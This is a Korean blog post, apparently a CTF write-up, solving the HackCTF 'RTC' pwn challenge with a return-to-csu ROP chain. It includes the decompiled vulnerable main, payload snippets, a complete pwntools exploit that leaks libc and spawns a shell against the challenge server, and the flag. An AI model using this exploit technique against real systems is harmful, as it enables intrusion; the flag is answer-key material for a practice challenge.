ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RTC
    CTF/HackCTF 2021. 2. 5. 01:20

    Disassembly 디스어셈블리


    void main(void)
    {
        void *buf;
        
        setvbuf(_reloc.stdin, 0, 2, 0);
        write(1, "Hey, ROP! What\'s Up?\n", 0x15);
        read(0, &buf, 0x200);
        return;
    }

    main은 read에서 0x200바이트만큼 입력받아 스택 버퍼 오버플로우가 발생한다.

    Return-to-csu


    NX가 걸려있고, system 함수가 링크되어 있지 않으며, syscall 명령어도 존재하지 않는다. 결국 RTL을 통해 system("/bin/sh")를 호출해야 하므로 라이브러리 주소를 알아낼 방법이 필요하다.

     

    write와 read 함수의 세 번째 인자로 사용될 rdx를 제어할 가젯으로 __libc_csu_init 함수를 활용하자. 

    __libc_csu_init

    csu 함수의 후반부에는 rbx, rbp, r12, r13, r14, r15를 pop하고 ret하는 코드가, 중반부에는 r13, r14, r15d의 값을 rdx, rsi, edi로 옮기고 [r12+rbx*8]을 호출하는 코드가 있다. 

     

    편의상 후반부를 csu_init, 중반부를 csu라고 하자. 먼저 csu_init을 호출해 rbx+1==rbp를 만족하도록 레지스터를 조작한다. 이어서 csu를 호출하면 [r12+rbx*8]에 적힌 함수가 r15d, r14, r13을 세 인자로 실행되고 jne를 지나 csu_init에 해당하는 명령어가 실행된다. 이러한 루프를 통해 버퍼가 허용하는 한 임의의 함수를 임의의 인자로 호출할 수 있다.

     

    Return-to-csu를 이용해 공격을 구성해 보자.

    payload = b"\x90"*0x48
    payload += p64(csu_init)
    payload += p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(read_got) + p64(1)
    payload += p64(csu)
    
    read = u64(p.recv())
    libc = read - l.symbols["read"]
    
    log.info("libc : " + hex(libc))

    write(1, read_got, 0x8)을 통해 라이브러리 주소를 알아낸다.

    payload += p64(0)
    payload += p64(0) + p64(1) + p64(read_got) + p64(0x10) + p64(bss) + p64(0)
    payload += p64(csu)
    
    ...
    
    system = libc + l.symbols["system"]
    
    payload = p64(system) + b"/bin/sh\x00"
    p.send(payload)

    read(0, bss, 0x10)을 통해 system 함수와 binsh 문자열의 주소를 쓰기 권한이 있는 .bss 영역에 덮어쓰자.

    payload += p64(0)
    payload += p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(bss+8)
    payload += p64(csu)
    
    p.recvline()
    p.sendline(payload)

    마지막으로 system("/bin/sh")를 호출하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./rtc"
    lib = "./libc.so.6"
    server = "ctf.j0n9hyun.xyz"
    port = 3025
    
    # context.log_level = 'debug'
    context.binary = binary
    
    if True:
    	p = remote(server, port)
    else:
    	p = process(binary)
    	gdb.attach(p)
    
    e = ELF(binary)
    r = ROP(e)
    l = ELF(lib)
    
    e.checksec()
    
    main = e.symbols["main"]
    read_got = e.got["read"]
    write_got = e.got["write"]
    
    csu_init = 0x4006ba
    csu = 0x4006a0
    
    prdi = (r.find_gadget(['pop rdi', 'ret']))[0]
    ret = (r.find_gadget(['ret']))[0]
    
    bss = e.bss()+0x100
    
    payload = b"\x90"*0x48
    payload += p64(csu_init)
    payload += p64(0) + p64(1) + p64(write_got) + p64(0x8) + p64(read_got) + p64(1)
    payload += p64(csu)
    payload += p64(0)
    payload += p64(0) + p64(1) + p64(read_got) + p64(0x10) + p64(bss) + p64(0)
    payload += p64(csu)
    payload += p64(0)
    payload += p64(0) + p64(1) + p64(bss) + p64(0) + p64(0) + p64(bss+8)
    payload += p64(csu)
    
    p.recvline()
    p.sendline(payload)
    
    read = u64(p.recv())
    libc = read - l.symbols["read"]
    
    log.info("libc : " + hex(libc))
    
    system = libc + l.symbols["system"]
    
    payload = p64(system) + b"/bin/sh\x00"
    p.send(payload)
    
    p.interactive()

    Flag

    HackCTF{4ll_r1ght_c5u_1n1t!}

    'CTF > HackCTF' 카테고리의 다른 글

    babyfsb  (0) 2021.02.05
    Unexploitable #2  (0) 2021.02.05
    Register  (0) 2021.02.04
    Unexploitable #1  (0) 2021.02.04
    ROP  (0) 2021.02.01

    댓글

Designed by Tistory.